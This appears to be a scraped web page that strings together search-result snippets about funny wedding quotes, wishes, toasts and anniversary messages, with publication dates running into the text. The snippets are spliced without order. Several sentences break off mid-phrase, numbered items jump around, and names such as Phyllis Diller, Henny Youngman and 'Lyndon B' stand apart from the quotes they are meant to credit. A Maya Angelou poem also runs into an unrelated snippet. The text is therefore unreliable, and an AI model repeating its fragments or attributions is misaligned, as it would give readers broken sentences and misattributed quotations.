make you laugh. May your life together be like a romantic comedy—but with double the laughter and half the quirky misunderstandings. 5 days ago · A funny wedding officiant speech combines funny wedding sermons for laughs. Whether you need some romance, sarcasm, or advice, these funny marriage quotes have it all. Sometimes, a sweet or sentimental message just isn’t right for a wedding card, when that’s the case, the chances are, a funny marriage quotes are more the newlywed’s style. Many movies (notably Wedding Crashers) are ripe with funny wedding quotes. “Music played at weddings always reminds me of the music played for soldiers before they go into battle. These sign ideas will also play well with any kind of stye, whether you love the boho look or you're dreaming of a rustic wedding . Feel free to use this as a branching point to writing your customized, funny wedding wish. This is one of the best wedding officiant speech funny ideas. Feb 27, 2024 · 25th Silver Anniversary Wishes and quotes for wife. Whether you need a laugh, some inspiration or a wedding toast, these funny marriage quotes are for you. These amusing wedding quotes will have even your most serious guests keeled over with laughter. Here we are sharing 150 funny marriage quotes for you that you can use in your wedding invites, wedding signage, and wedding social media updates. “May your marriage be as strong as your password and twice as secure. Jun 5, 2023 · Here are 200 funny marriage jokes for a wedding speech or just to use as a good one liner to make someone laugh. The ultimate list of funny marriage quotes. 115. Cheers to our Anniversary! Look for your anniversary card and gift in our bedroom. May 14, 2024 · Find hilarious and relatable quotes about marriage from movies, books, TV shows and famous figures. Jan 5, 2024 · Find the perfect words to congratulate the happy couple with these 50 wedding wishes, messages, and quotes on marriage. 10. They serve as a reminder that love doesn’t always have to Oct 31, 2023 · Related Reading: 100+ Funny Wedding Wishes, Messages and Quotes Good marriage wedding quotes. Jan 9, 2024 · Read on for the best funny wedding toasts and and toast jokes to add to the end of your speech. Nov 19, 2022 · Wedding jokes and quotes. And second, let her have it. Jun 20, 2024 · Find hilarious and witty observations about the joys and challenges of marriage from famous and unknown sources. These funny tips for a happy marriage are more than just jokes; they’re a testament to the joy that comes from not taking life too seriously, especially when you’re sharing it with someone else. ) Marriage is not just spiritual communion. Dr. 57. ) Funny married life quotes and marriage jokes could easily be incorporated into your wedding decor at your reception. Adding a touch of humor can make the ceremony more memorable and lighthearted. You can personalise it with names, dates, text, and even photos. Apr 16, 2024 · This collection of 100 funny marriage quotes is sure to tickle your funny bone and make you smile. Welcome to the next level. Humorous marriage wishes can create memorable moments and lighten the mood, but only if they match the couple’s style of humor. ) A good marriage is like a casserole: only those responsible for it really know what goes into it. Congratulations my dear friends! Wish you two a life full of joy and happiness!! 60. Jan 8, 2022 · Find witty and humorous quotes about marriage and weddings for your cards, toasts or messages. In marriage, you get to do all the freedom you craved in your parent’s house. First, let her think she has her own way. Congratulations! May your marriage bring as much happiness to your life as our friendship has brought to mine. A toast for the happy couple! Personally, I think champagne’s the Jun 15, 2023 · Funny Wedding Quotes. Wedding Anniversary Wishes for Friends in English. Apr 16, 2023 · 60 Examples of Funny Wedding Wishes. You don’t want to overdo it and turn your speech into a stand-up routine…(unless you’re a stand up comic and that’s what the bride and groom expect from you). Phyllis Diller. Apr 30, 2024 · Funny wedding wishes . Apr 4, 2023 · If you’re ready to laugh, read the following funny marriage quotes. ” – Zsa Zsa Gabor “Marriage has no guarantees. Browse quotes from movies, newlyweds, husbands and more. Whether you’re a longtime married couple or a newbie learning the nuances of sharing your space, these funny quotes wonderfully reflect the personal experiences that define your special bond. Jan 18, 2024 · Funny Wedding Wishes. It’s called marriage. Avoid Offensive Jokes or Stereotypes Jan 7, 2022 · SEE MORE: Funny Wedding Card Messages, Wishes and Quotes. Funny Wedding Officiant Jokes. Happy anniversary darling. As family and friends gather to witness the union of two souls, what better way to break the ice and lighten the atmosphere than with a collection of delightful wedding jokes?Whether it’s the playful banter between Jul 8, 2021 · We included romantic quotes, bible verses, and funny jokes—all of which will work well on your wedding welcome sign, wedding reception, your wedding gift table, or your dessert table. Whether you want to be funny, heartfelt, or romantic, we have you covered. Related: 100 Quotes on Love and Aug 2, 2023 · Let’s be real, sending a quick congratulatory text before or after a wedding simply doesn’t do justice to the bride and groom! And to be fair, wedding wishes are a special way to celebrate their wedding day and the new beginning of the newly married couple. You can use them in a wedding card for the couple or a speech if you’re the best man. Funny Wedding Toasts and One Liners; Funny Marriage Toast Examples; Short, Funny Wedding Toasts to End a Speech Mar 2, 2023 · If the lovebirds appreciate puns, jokes and everything in between, funny wedding cards will add some lightheartedness to their life. As the laughter subsides and the celebrations come to an end, these funny wedding wishes leave behind a trail of smiles and happy memories. It's true that words can't always express how deeply we feel for those we love, but they can offer us great comfort and even laughter. At weddings, the bride always cries and the groom is Years of Romance. Well, after all, it’s a group of people to whom booze is served ad-lib, there are some heightened emotions all around, and even a broken heart or . It is also remembering to take out the trash. Here is a list of funny wedding wishes you can send to friends, family and co-workers to bring a smile to the happy couple. ) Marry a man your own age; as your beauty fades, so will his eyesight. If you want to make the happy couple laugh, consider writing a funny wedding card message if it will put a smile on their faces! Don’t be afraid to include something laugh-worthy in your note—after all, you know them best, so you can be the judge of what to include based on their sense of humor. Jan 25, 2024 · See Wedding Quotes. My friend said she wanted to have a fairytale wedding, so I got her a pumpkin carriage. Here are some examples to consider: Congratulations on finding someone who will always laugh at your jokes, even when they are terrible. Nov 21, 2023 · Funny marriage advice quotes. Jul 21, 2023 · Funny Wedding Sayings For Cards. Here we offer a generous assortment of memorable remarks about love and marriage spoken or penned by authors, musicians, playwrights, poets, screenwriters, and world leaders from a kaleidoscope of cultures, ancient to modern. May 18, 2020 · If you are looking for some hilarious marriage quotes to add fun element to your wedding, then this post is for you. Cheers to love, laughter, and happily ever after! To my best friend on your wedding day, know that your happiness is everything to me. Marriage: when dating goes pro. 11. "Touched by an Angel," by Maya Angelou "We, unaccustomed to courage/ exiles from delight/ live coiled in shells of loneliness/ until love leaves its high holy temple/ and comes into our sight/ to liberate us into life/ Love arrives/ and in its train come ecstasies/ old memories of pleasure/ ancient histories of pain/ Yet if we are bold/ love strikes away the chains of fear/ from our souls Jul 18, 2023 · 35 Wedding Puns to Crack Up Your Guests. So take advantage of their words and use them as a funny wedding message or to get some laughs in your speech. Henny Youngman. If you’re looking to add a dash of humor to your wedding wishes, you’ve come to the right place! 5 days ago · The following wedding day quotes and funny wedding card messages are simple yet funny, and your friend will adore them for years to come. We’re leaving the mushy sentiments at the door and unleashing our inner comedians with 127 funny wedding anniversary quotes that are guaranteed to bring a smile to your face. May 28, 2024 · Let’s add a delightful touch to the wedding celebration with these funny wedding wishes that Personal House has curated in this article. ” Aug 21, 2023 · Funny Wedding Anniversary Quotes Design: Tiana Crispino Whether you're celebrating a first anniversary or 50 years of marriage, these funny anniversary wishes are especially apropos for married couples with a serious sense of humor. If you’re looking to add a dash of humor to your wedding wishes, you’ve come to the right place! Oct 7, 2022 · Funny wedding wishes. Funny Quotes That Are About the Wife May 19, 2019 · Related: 60+ Short and Sweet Wedding Day Quotes. What is a good quote for a wedding? As you plan for the wedding, think about using a few getting married quotes and jokes that will make people laugh. Wedding speeches need to be amusing. Lyndon B Dec 12, 2023 · And we've got 85 relatable, funny quotes about marriage that will absolutely bring the giggles. 2. Funny Wedding Quotes. 1. We love complementing the funny phrase that comes printed on a card with a heartfelt, handwritten note written in the interior, so you'll bring on both laughs and happy tears. Happy Anniversary to the best husband! 15. Examples: Dec 18, 2023 · Many of the best romantic quotes by world-renowned poets, authors, philosophers, and even beloved movie characters, prove that the simplest, most earnest words are often the most honest and poignant. Thank you for making me the happiest and luckiest man alive over all Funny Wedding Wishes Weddings are a joyous occasion filled with love, laughter, and, of course, plenty of well-wishes for the happy couple. Turns out she just wanted to marry a prince, not ride in a gourd. As a wedding officiant, incorporating a few tasteful jokes can ease nerves and create a joyful May 3, 2024 · That’s where funny marriage tips for wife or husband come into play, transforming ordinary moments into memories filled with laughter. ) May 8, 2024 · Funny wedding quotes with advice 66. While the purpose is humor, many are also relatable and spot-on. These funny wedding quotes are a hilarious take on the madness that is a wedding and relationships. Funny Wedding Wishes for the Couple. ) Marriage is an adventure, like going to war. ) I have learned that only two things are necessary to keep one’s wife happy. From witty one-liners to playful anecdotes, find the perfect way to congratulate the happy couple while bringing smiles and joy to their special day. Congratulations to a couple that just completed the hardest part of marriage: planning the wedding. 16. Weddings are a joyous occasion filled with love, laughter, and, of course, plenty of well-wishes for the happy couple. Enjoy a laugh with your friend as you celebrate. Are you ready for some hilarious wedding wish inspiration? We’ve compiled a list of funny wedding wishes to get your creative juices flowing. Jan 23, 2022 · Funny Wedding Quotes. 114. Jul 12, 2023 · Funny Wedding Jokes. Nov 17, 2023 · Weddings, a celebration of love and commitment, are often accompanied by heartfelt moments and, of course, a sprinkle of humor. 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